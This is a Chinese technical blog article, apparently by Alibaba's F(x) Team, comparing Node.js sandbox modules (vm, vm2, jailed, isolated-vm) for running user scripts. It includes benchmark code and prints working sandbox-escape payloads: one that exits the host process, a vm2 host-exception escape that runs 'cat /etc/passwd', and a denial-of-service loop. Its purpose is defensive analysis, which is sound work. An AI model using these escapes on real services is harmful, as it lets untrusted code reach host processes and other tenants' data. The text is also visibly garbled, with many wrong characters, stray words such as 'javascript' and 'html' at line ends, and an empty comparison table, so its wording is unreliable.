文/ 阿里淘系 F(x) Team - 笑翟javascript
咱们在 imgcook 智能生成代码过程当中,但愿提供一些自定义的能力,好比自定义 DSL、自定义逻辑点识别/表达,可以让开发者按照官方提供的标准协议数据,在可控范围和权限内自定义生成本身所须要的代码,也不用局限官方提供的代码生成模板,扩展自定义逻辑识别能力/表达能力,生成定义的逻辑代码,知足开发者自定义业务多样化的需求。html
那么,这些自定义能力的脚本须要运行在一个沙箱容器,同时考虑到运行环境统一以及需加载 Node 模块能力,咱们须要在服务端构建脚本运行沙箱容器,这样安全就更为重要(开发者的脚本必须严格受到限制与隔离,不能影响到宿主程序,也不能影响用户使用),跟运行在客户端(用户的)应用不一样,客户端运行只会影响他本身。java
所以,咱们调研&探索如何选择/构建一个为 Node.js 应用更安全的沙箱模块。node
先介绍下沙箱技术,是一个虚拟系统程序,容许你在沙箱环境中容许浏览器或者其余程序,所以运行所产生的变化能够随后删除。它创造了一个相似沙盒的独立做业环境,在其内部运行的程序并不能对硬盘产生永久性的影响,其是一个独立的虚拟环境,可用来测试不受信任的应用程序或上网行为。git
沙箱是一种虚拟系统程序,沙箱提供的环境相对每个运行的程序都是独立的,而不会对现有的系统产生影响。github
下面咱们介绍下以前调研过的一些 Node.js 的沙箱。web
模块api (module)浏览器 |
安全安全 (Secure) |
内存限制 (Memory Limits) |
是否隔离 (Isolated) |
多线程 (Multithreaded) |
模块支持 (Module Support) |
检查器支持(Inspector Support) |
|
|
|||||
worker_threads |
|
|
|
|||
vm2 |
|
|
|
|||
napajs |
|
|
Partial |
|||
|
||||||
|
|
|
|
|||
|
|
|
|
|||
|
|
|||||
|
|
|
|
搜索 Node.js 沙箱,出现的是 Node.js 提供 vm 内建模块,咱们看下 vm 模块。
vm 是 Node.js 默认提供的一个内建模块,它提供了一系列 API 用于在 V8 虚拟机环境中编译和运行代码。
A common use case is to run the code in a different V8 Context.
This means invoked code has a different global object than the invoking code.
One can provide the context by contextifying an object. The invoked code treats any property in the context like a global variable. Any changes to global variables caused by the invoked code are reflected in the context object.
一个常见的用例是在不一样的 V8 上下文中运行代码。
这意味着被调用的代码与调用的代码具备不一样的全局对象。
能够经过使对象上下文隔离化来提供上下文。 被调用的代码将上下文中的任何属性都视为全局变量。 由调用的代码引发的对全局变量的任何更改都将会反映在上下文对象中。
The vm module enables compiling and running code within V8 Virtual Machine contexts.
The vm module is not a security mechanism.
Do not use it to run untrusted code.
vm 模块可在 V8 虚拟机上下文中编译和运行代码。
vm 模块不是安全的机制。
不要使用它来运行不受信任的代码。
vm 尽管隔离了上下文环境,但依然能够访问标准的 Javascript API 和全局的 Node.js 环境。
因此 vm 并非安全的。
看个例子:
"use strict";
const vm = require('vm');
const result = vm.runInNewContext(`process`);
console.log(result);复制代码
结果:
“process is not defined”,默认状况下VM模块不能访问进程,若是想要访问须要指定受权。
看起来默认不能访问 “process、require” 等就知足需求了,可是真的没有办法触及主进程并执行代码了?
看下面这段代码
"use strict";
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return process')().exit()");
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log("Hello World!");复制代码
在 javascript 中 this 指向它所属的对象,因此咱们使用它时就已经指向了一个 vm 上下文以外的对象。
那么访问this的 constructor 就返回 Object Constructor ,访问 Object Constructor 的 .constructor 返回Function constructor 。
Function constructor 就像 javascript 提供的最高函数,他能够访问全局,因此他能返回全局事物。
Function constructor 容许从字符串生成函数,从而执行任意代码。
能够看出这段代码的 Hello World!
永远不会输出。
彷佛隔离了代码执行环境,但实际上很容易逃逸出去。
由于 Node.js 默认内建模块 vm 有缺陷,因此就有了 vm二、jailed、napajs。下面看下 vm2 模块。
vm2 基于 vm,使用官方的 vm 库构建沙箱环境。使用 JavaScript 的 Proxy 技术来防止沙箱脚本逃逸。指定白名单 Node 的内置模块一块儿运行不受信任的代码。安全地!仅 JavaScript 内置对象和 Buffer 可用。默认下调度函数(setInterval,setTimeout 和 setImmediate)默认状况下不可用。
主要有如下几点特性:
vm2 内部使用 vm 模块建立安全(上下文)它使用代理来防止逃逸沙箱
如今,从 vm contenxt 到沙箱的全部内容均可以用来进行处理。
"use strict";
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")())');复制代码
抛出异常错误,process 未定义。
逃逸
因为 VM2 将 VM 上下文中的全部对象都上下文化,所以 this 关键字再也不具备对 constructor 属性的访问权,所以咱们以前的有效负载已失效。
对于绕过,咱们将须要沙箱以外的内容,以便它不只限于沙箱上下文,并且能够再次访问构造函数。
如今,vm 内部的全部对象都已限制了,咱们以某种方式须要外部的一些东西来爬回进程,而后执行代码。
若是咱们在 try 块中编写错误代码,这将会致使宿主进程抛出异常,而后咱们经过 catch 将宿主进程的异常捕获回 vm,而后使用该异常进行处理。这极可能就是咱们要作的
// vm2 将该漏洞已修复
const {NodeVM} = require('vm2');
nvm = new NodeVM()
nvm.run(`
try {
this.process.removeListener();
}
catch (host_exception) {
console.log('host exception: ' + host_exception.toString());
host_constructor = host_exception.constructor.constructor;
host_process = host_constructor('return this')().process;
child_process = host_process.mainModule.require("child_process");
console.log(child_process.execSync("cat /etc/passwd").toString());
}`);复制代码
在 try 块中,咱们尝试删除正在执行此操做的当前进程上的侦听器 - this.process.removeListener()
这会引发主机异常。因为来自宿主进程的异常不会在传递到沙箱以前被关联,所以咱们可使用该异常爬升到所需的树到require。
毕竟,vm2 中还有更多新的创造性的绕过 - 更多的逃逸
除了沙箱逃逸以外,还可使用infinite while loop
方法建立无限循环拒绝服务
const {VM} = require('vm2');
new VM({timeout:1}).run(`
function main(){
while(1){}
}
new Proxy({}, {
getPrototypeOf(t){
global.main();
}
})`);复制代码
沙箱机制对于性能影响仍是挺大的
自增次数 | normal | vm | vm2 | jailed | isolated-vm |
1000 | 0.042ms |
1179.227ms |
354.053ms |
12.246ms |
24.303ms |
10000 | 0.368ms |
9404.247ms |
2107.150ms |
121.993ms |
242.625ms |
100000 | 11.375ms |
128843.386ms |
17624.867ms |
1058.524ms |
1155.492ms |
测试代码
const vm = require('vm');
const { VM } = require('vm2');
const jailed = require('jailed');
const path = './plugin.js';
var api = {
log: console.log
};
let plugin = new jailed.Plugin(path, api);
var reportResult = function(result) {
// console.log("Result is: " + result);
};
let a = 0;
const vm2 = new VM({
timeout: 1000,
sandbox: {
a: a
}
});
const count = 100000;
// normal
console.time('normal');
for (let i = 0; i < count; ++i) {
a += 1;
}
console.timeEnd('normal');
// vm
console.time('vm');
for (let i = 0; i < count; ++i) {
vm.runInNewContext('a += 1', { a: a });
}
console.timeEnd('vm');
// vm2 timer
console.time('vm2');
for (let i = 0; i < count; ++i) {
vm2.run('a += 1');
}
console.timeEnd('vm2');
// jailed
plugin.whenConnected(() => {
console.time('jailed');
for (let i = 0; i < count; ++i) {
plugin.remote.square(2, reportResult);
}
console.timeEnd('jailed');
plugin.disconnect();
});
console.time('isolated-vm');
// isolated-vm
// 建立一个内存限制 128MB 的隔离虚拟机
const ivm = require('isolated-vm');
const isolate = new ivm.Isolate({
memoryLimit: 128
});
// 每一个隔离虚拟机的上下文相互隔离
const context = isolate.createContextSync();
// 解除 global 的引用,传递给上一步建立的上下文
context.global.setSync('global', context.global.derefInto());
// 在上述上下文中执行,并解构结果
for (let i = 0; i < count; ++i) {
const { result } = context.evalSync(`(() => "Hello world")()`);
// console.log(result);
}
// > hello world
// console.log(result);
console.timeEnd('isolated-vm');
复制代码
运行不信任的代码是很困难的,只依赖软件模块做为沙箱技术,防止不受信任代码用于非正当用途是糟糕的决定。这可能促使云上 SAAS 应用不安全,由于经过逃逸出沙箱进程多个租户间的数据可能被访问。所以自定义脚本执行只针对内部开放,外部的必须得通过严格审核才能执行。要尽可能避开执行动态执行脚本,若是实在避不开或须要这个功能,但愿本文可以对你有些帮助。